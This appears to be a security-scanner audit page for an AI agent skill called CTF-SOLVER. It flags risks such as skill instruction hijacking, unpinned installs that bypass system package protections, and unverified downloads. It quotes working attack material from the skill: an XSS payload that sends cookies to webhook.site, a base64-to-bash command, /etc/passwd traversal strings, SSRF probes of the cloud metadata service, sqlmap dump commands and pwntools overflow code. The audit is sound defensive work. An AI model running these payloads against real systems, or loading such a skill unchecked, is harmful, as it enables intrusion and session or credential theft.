T01 · Skill Instruction Hijacking
Error
- Location
SKILL.md:10- Finding
Unrestricted Command Execution Instructions Override Least-Privilege Controls
- Content
View full analysis
- Remediation
View remediation
Security audit
CTF-SOLVER
Security checks for vulnerabilities and agentic risk
Overview
This is a coherent CTF helper, but it gives broad exploit, installation, and data-exfiltration instructions without clear authorization, sandbox, or confirmation limits.
Install only for use in isolated, authorized CTF environments. Do not let it run against real third-party targets, real cloud metadata services, real user sessions, or a shared host environment without sandboxing, pinned tools, and explicit approval for network access, package installs, binary execution, and out-of-band callbacks.
Vulnerability Patterns
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Findings (7)
other
Error
- Location
references/web.md:72- Finding
XSS Payloads Exfiltrate Session Cookies to Third-Party Collection Services
- Content
View full analysis
fetch('https://webhook.site/YOUR_ID?c='+document.cookie)``` The accompanying instructions recommend using `webhook.site` or Burp Collaborator to receive the transmitted data. ### Technical Analysis The payloads read `document.cookie` and transmit its contents as a URL query parameter to an external collection service. The second payload only applies Base64 encoding; Base64 is reversible encoding and provides no confidentiality. URL query parameters may additionally be retained in: - Collector logs. - Proxy and gateway logs. - Browser history. - Monitoring systems. - Referrer data under some navigation conditions. The instructions do not enforce that the cookie belongs to a synthetic CTF browser or that the external receiver is controlled exclusively by the authorized tester. They therefore create a direct data-exfiltration channel for session identifiers and other non-`HttpOnly` cookie values. ### Attack Path 1. The Agent identifies or assumes an XSS vulnerability. 2. It submits one of the supplied payloads to the target. 3. A privileged user or automated administrator bot loads the affected content. 4. The browser evaluates `document.cookie`. 5. The payload sends the cookie to the specified `webhook.site` or collaborator endpoint. 6. Anyone with access to that collection endpoint obtains the cookie. 7. If the cookie represents an authenticated session, it can be replayed to impersonate the victim. ### Impact Assessment Potential impact includes: - Disclosure of session identifiers and authentication tokens. - Account or administrator-session takeover. - Unauthorized access under the victim's privileges. - Disclosure of sensitive values stored ...[truncated 271 chars]
- Remediation
View remediation
T05 · Unauthorized Access and Privilege Escalation
Error
- Location
references/web.md:168- Finding
SSRF Workflow Probes the AWS Instance Metadata Service
- Content
View full analysis
- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
references/web.md:107- Finding
Encoded Shell Command Is Decoded and Executed Without Inspection
- Content
View full analysis
- Remediation
View remediation
T03 · Remote Payload Retrieval and Execution
Error
- Location
references/reverse.md:35- Finding
Unverified Ghidra Archive Is Downloaded from a Mutable Remote Location
- Content
View full analysis
/dev/null || wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.1.2_build/ghidra_11.1.2_PUBLIC_20240709.zip ``` ### Technical Analysis If package-manager installation fails, the Skill downloads a Ghidra archive from GitHub. The repository is the recognizable official upstream project, but the command does not: - Verify a cryptographic checksum. - Validate a release signature. - Pin an immutable content digest. - Specify a safe destination. - Require review before the downloaded software is used. A versioned URL lowers accidental drift but does not establish artifact integrity. Compromise of the release artifact, hosting account, network trust chain, or local download path could result in substituted tooling. ### Attack Path 1. The package-manager installation fails. 2. The fallback `wget` command retrieves the archive. 3. The archive is later extracted and Ghidra is launched as part of reverse engineering. 4. A substituted or compromised archive executes code under the Agent user's permissions. 5. The malicious tool accesses analyzed binaries, project files, credentials, or network resources. ### Impact Assessment The downloaded application can execute with the full privileges of the Agent user. Potential consequences include arbitrary code execution, theft or modification of analyzed artifacts, credential access, and further payload retrieval. ]]>- Remediation
View remediation
T03 · Remote Payload Retrieval and Execution
Error
- Location
references/reverse.md:211- Finding
Mutable pwndbg Repository Is Cloned and Its Setup Script Is Executed
- Content
View full analysis
- Remediation
View remediation
T08 · Insecure Dependencies
Error
- Location
SKILL.md:51- Finding
Unpinned Dependencies Are Installed Globally While System Package Protections Are Bypassed
- Content
View full analysis
/dev/null ``` Representative repeated examples include: ```bash pip install dirsearch --break-system-packages 2>/dev/null pip install sqlmap --break-system-packages 2>/dev/null pip install stegano --break-system-packages pip install volatility3 --break-system-packages pip install pwntools --break-system-packages pip install angr --break-system-packages pip install z3-solver --break-system-packages pip install uncompyle6 pycdc --break-system-packages ``` ### Technical Analysis The Skill repeatedly installs third-party packages without version locks, hashes, signatures, or a controlled package index. Use of `--break-system-packages` deliberately bypasses protections intended to prevent Python packages from modifying a system-managed environment. The commands also suppress some installation errors, reducing visibility into partial or unexpected installation behavior. Installing mutable latest versions makes execution non-reproducible and exposes the environment to upstream compromise, dependency confusion, compromised transitive dependencies, and incompatible package updates. System-wide package and language-environment changes are not the minimum privileges necessary for challenge analysis. A dedicated virtual environment or prebuilt container would provide the same tooling with substantially less host risk. ### Attack Path 1. The Agent begins a challenge requiring a missing utility. 2. It runs an unpinned `pip`, `gem`, or system package installation command. 3. The package manager resolves the current package and transitive dependency versions. 4. A compromised, replaced, or malicious depen ...[truncated 884 chars]- Remediation
View remediation
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (26)
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md | PWN | `references/pwn.md` | 二进制漏洞、内存利用 |
YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]
High
- Category
- YARA Match
- Confidence
- 88% confidence
- Finding
The file references offensive tooling and password-cracking workflows (
john,zip2john,7z2john,bkcrack) in a skill explicitly oriented toward obtaining flags via attack chains. In context, these instructions materially enable brute-force and cryptanalytic actions that could be repurposed against non-CTF targets if the skill is triggered on arbitrary user-supplied files.- Content
��数（常含 flag） vol -f memory.dmp windows.filescan # 扫描文件 vol -f memory.dmp windows.dumpfiles --virtaddr 0x... # 提取文件
grep flag
strings memory.dmp | grep -i "flag{" strings memory.dmp | grep -E "[A-Z]+CTF{"
text --- ## Phase 6：压缩包密码 ```bash # 安装 john / hashcat apt-get install -y john 2>/dev/null # ZIP 密码爆破 zip2john challenge.zip > hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # 7z 密码 7z2john challenge.7z > hash.txt john hash.txt # CRC 碰撞（ZIP 小文件 < 5 字节） python3 -c " import zipfile, struct, zlib z = zipfile.ZipFile('file.zip') info = z.infolist()[0] crc = info.CRC size = info.file_size # 枚举所有可能的 size 字节内容 for i in range(256**size): data = i.to_bytes(size, 'big') if zlib.crc32(data) & 0xFFFFFFFF == crc: print(data) break " # 已知明文攻击（bkcrack） # git clone https://github.com/kimci86/bkcrack # 需要知道 zip 内某文件的明�
YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]
High
- Category
- YARA Match
- Confidence
- 99% confidence
- Finding
The skill contains explicit exploit-development guidance and ready-to-run pwntools snippets for stack overflow, ret2libc, format-string, heap exploitation, and post-exploitation steps such as getshell and reading flag files. In context, this is not merely descriptive: the metadata states the skill's sole goal is to seize flags and provide executable attack chains, which materially increases the risk that an agent using this skill will perform offensive exploitation against targets.
- Content
Phase 2：漏洞类型识别
检查清单
函数 漏洞 gets()栈溢出（无限制读入） scanf("%s")栈溢出 strcpy/strcat栈/堆溢出 printf(user_input)格式化字符串 malloc/free堆漏洞 read(0,buf,大于buf_size)栈溢出
Phase 3：栈溢出利用
3.1 确定溢出偏移
python from pwn import * # 方法1：cyclic pattern pattern = cyclic(200) # 运行崩溃后，读取 EIP/RIP 值 # cyclic_find(0x61616166) → 偏移量 # 方法2：手动二分法 payload = b'A' * 100 + b'B' * 8 # 观察是否覆盖返回地址3.2 ret2text（直接跳转到后门函数）
python from pwn import * elf = ELF('./binary') p = process('./binary') # 找后门函数 win_addr = elf.symbols['win'] # 或 win_addr = elf.symbols['backdoor'] win_addr = next(elf.search(b'/bin/sh')) # 找字符串 offset = 112 # 用 cyclic 确定 payload = b'A' * offset + p64(win_addr)
Missing User Warnings
High
- Category
- Not specified by scanner
- Confidence
- 99% confidence
- Finding
This section provides actionable offensive web exploitation guidance, including SQL injection payloads, sqlmap usage, blind extraction logic, and XSS cookie exfiltration payloads. In the context of a skill explicitly described as aiming to '夺取flag' and building executable attack chains, this is not neutral theory but operational attack enablement against target systems.
- Content
YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]
High
- Category
- YARA Match
- Confidence
- 98% confidence
- Finding
The skill references and operationalizes well-known offensive tooling such as sqlmap to automate SQL injection discovery and data dumping. Within a skill whose stated purpose is to capture flags via attack chains, these tool references materially enable exploitation rather than serving a neutral inventory function.
- Content
k
,.swp,~,source.zip`- 版本控制：
.git/,.svn/,.hg/ - 配置文件：
config.php,.env,web.config - 错误信息暴露（堆栈跟踪、路径）
Phase 2：漏洞类型判断与利用
2.1 SQL 注入
检测：
text ' OR 1=1-- " OR "1"="1 1' AND sleep(5)--利用（优先 sqlmap）：
bash pip install sqlmap --break-system-packages 2>/dev/null sqlmap -u "http://target/page?id=1" --dbs --batch sqlmap -u "http://target/page?id=1" -D dbname -T users --dump --batch # POST 参数 sqlmap -u "http://target/login" --data="user=admin&pass=test" --dbs --batch盲注手工：
python import requests # Boolean-based for i in range(1, 50): r = requests.get(f"http://target/?id=1' AND (SELECT SUBSTR(flag,{i},1) FROM flags)='a'--")常见 flag 位置：
flag表、secret表、users.password字段
2.2 XSS（Cross-Site Scripting）
CTF 中 XSS 通常需要偷 admin 的 cookie/token：
javascript // Payloa- 版本控制：
Missing User Warnings
High
- Category
- Not specified by scanner
- Confidence
- 100% confidence
- Finding
This section covers command injection, RCE, LFI/log poisoning, SSTI sandbox escape, SSRF to cloud metadata, deserialization gadget usage, JWT attacks, and path traversal with concrete payloads and code. Because the skill is purpose-built to obtain flags through exploitation, the broad chaining of techniques substantially increases the likelihood of unauthorized compromise, data exposure, and remote code execution.
- Content
Chaining Abuse
High
- Category
- Tool Misuse
- Confidence
- 96% confidence
- Finding
The command chain using base64 decoding piped to bash is an evasion and execution technique that helps bypass keyword filters and execute attacker-supplied commands. This is dangerous because it directly improves the practicality of command injection and RCE attacks.
- Content
c\at /flag ca''t /flag
编码绕过
echo 'Y2F0IC9mbGFn' | base64 -d | bash
text ---
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
This finding shows LFI/path traversal access to /etc/passwd, a classic sensitive-file read primitive used to validate arbitrary file disclosure and identify users on a compromised system. In combination with adjacent flag-reading and log-poisoning instructions, it supports escalation from disclosure to code execution.
- Content
bash # LFI 基础路径穿越 /page?file=../../../../etc/passwd /page?file=....//....//etc/passwd /page?file=php://filter/convert.base64-encode/resource=index.php
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
This is another sensitive file-read example targeting /etc/passwd via traversal variation, which helps attackers bypass naive filters and confirm arbitrary file access. The surrounding material encourages using such reads to locate flags and pivot to further compromise.
- Content
bash # LFI 基础路径穿越 /page?file=../../../../etc/passwd /page?file=....//....//etc/passwd /page?file=php://filter/convert.base64-encode/resource=index.php # 读取 flag
Cloud Metadata Access
High
- Category
- Server-Side Request Forgery
- Confidence
- 99% confidence
- Finding
The content explicitly instructs access to the cloud metadata service at 169.254.169.254, a well-known path to credential theft and cloud compromise when SSRF is present. In an exploitation-focused skill, this is a serious escalation vector that can expose instance identity credentials and permit broader infrastructure takeover.
- Content
md # 内网探测 http://127.0.0.1/flag http://localhost/admin http://169.254.169.254/latest/meta-data/ (AWS 元数据) http://192.168.0.1/ # 协议绕过
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 97% confidence
- Finding
The file:// URI to /etc/passwd is presented as an SSRF protocol-bypass technique to read local files through vulnerable fetchers. This meaningfully increases danger because it teaches operators how to turn SSRF into local file disclosure and internal compromise.
- Content
协议绕过
dict://127.0.0.1:6379/ (Redis) file:///etc/passwd gopher://127.0.0.1:80/_GET /flag HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0a%0d%0a
text
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 94% confidence
- Finding
This path traversal payload explicitly targets /etc/passwd, demonstrating arbitrary file read against vulnerable applications. The guidance is directly actionable and part of a larger workflow for extracting secrets and flags from systems.
- Content
2.9 路径穿越 / 任意文件读取
text ../../etc/passwd ..%2F..%2Fetc%2Fpasswd ....//....//etc/passwd %2e%2e/%2e%2e/etc/passwd
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 94% confidence
- Finding
This encoded traversal variant teaches filter evasion for reading /etc/passwd, increasing reliability of exploitation against weak input validation. In context, it is operational offensive content rather than benign mention of a system path.
- Content
text ../../etc/passwd ..%2F..%2Fetc%2Fpasswd ....//....//etc/passwd %2e%2e/%2e%2e/etc/passwd
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 94% confidence
- Finding
This alternate traversal encoding again targets /etc/passwd and shows multiple bypass syntaxes, enabling attackers to adapt to filtering defenses. Repetition across several variants makes the skill more dangerous by improving exploit success rates.
- Content
../../etc/passwd ..%2F..%2Fetc%2Fpasswd ....//....//etc/passwd %2e%2e/%2e%2e/etc/passwd
text **目标文件**：
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 97% confidence
- Finding
The skill explicitly instructs the agent to install tools, run commands, and execute exploits, yet it provides no user-facing warning or consent boundary before performing those actions. In this context, the omission is more dangerous because the skill’s stated purpose is to obtain flags by trying all vectors and escalating to exploit execution, which increases the chance of unsafe or unauthorized actions being taken without adequate user awareness.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 98% confidence
- Finding
The document is written entirely in Chinese, including the title and instructional content, with no indication that users may choose another language or that the skill is intentionally limited to a Chinese-speaking context. Under the stated policy, forcing a specific language without user opt-in is a natural-language policy violation.
- Content
Description-Behavior Mismatch
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
The file recommends external online services for analysis without any disclosure of third-party data handling. If users upload challenge files, captures, images, or encoded data to these services, sensitive or proprietary data may be exfiltrated outside the trusted environment.
- Content
Description-Behavior Mismatch
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
The skill documentation instructs host-level package installation and environment modification (
apt-get install,pip install) as part of routine workflow. In an agent skill context, that expands capability beyond passive CTF analysis into changing the execution environment, which can increase attack surface, introduce unreviewed software, and violate least-privilege expectations.- Content
Context-Inappropriate Capability
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
Host package management commands are operationally risky in a skill because they allow system-level changes not strictly necessary for many analysis tasks. In a shared or production agent environment, this can lead to privilege misuse, dependency poisoning, inconsistent runtime state, or installation of unsafe tooling.
- Content
Context-Inappropriate Capability
Medium
- Category
- Not specified by scanner
- Confidence
- 89% confidence
- Finding
The skill suggests using external web services such as CyberChef, dcode.fr, and online forensic tools, which creates an ungoverned path for data transfer outside the platform. Even if intended for convenience, this can expose challenge artifacts, credentials, internal documents, or regulated data to third parties.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The document is written entirely in Chinese and does not indicate that another language can be used or that the Chinese-only presentation is optional. Under the stated policy, a skill that imposes a specific language without user opt-in is a natural-language policy violation.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
This section instructs the agent/user to patch a binary by writing modified bytes back to disk and then executing the patched file, without any safety warning, confirmation gate, or disclosure that it alters executables. In an agent setting, file modification plus execution is risky because it normalizes tampering with binaries and could damage user files, bypass intended checks, or be repurposed to modify non-CTF binaries if the skill is triggered in the wrong context.
- Content
External Transmission
Medium
- Category
- Data Exfiltration
- Confidence
- 86% confidence
- Finding
These curl commands perform reconnaissance against a target, including probing robots.txt, exposed .git data, phpinfo, admin paths, and backups. In this skill context, the external transmission is part of a deliberate attack workflow and facilitates enumeration for later exploitation.
- Content
bash # 基础探测 curl -sI 'http://target/' # 响应头（框架、服务器） curl -s 'http://target/robots.txt' curl -s 'http://target/.git/HEAD' # Git 泄露 curl -s 'http://target/phpinfo.php'
External Transmission
Medium
- Category
- Data Exfiltration
- Confidence
- 89% confidence
- Finding
The referenced code sends crafted command-injection payloads to an external target using HTTP POST, enabling active exploitation attempts over the network. While the network call itself is not inherently dangerous, in context it operationalizes unauthorized attack traffic against remote systems.
- Content
import requests for p in payloads: r = requests.post("http://target/", data={"cmd": p}) if "flag" in r.text or "root" in r.text: print(r.text)
text
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
The activation text is written to require explicit Chinese phrases such as "调用CTF技能/skill" and does not offer an alternative language or indicate user language choice. This can violate language/locale policy expectations when no opt-in or multilingual option is provided.
- Content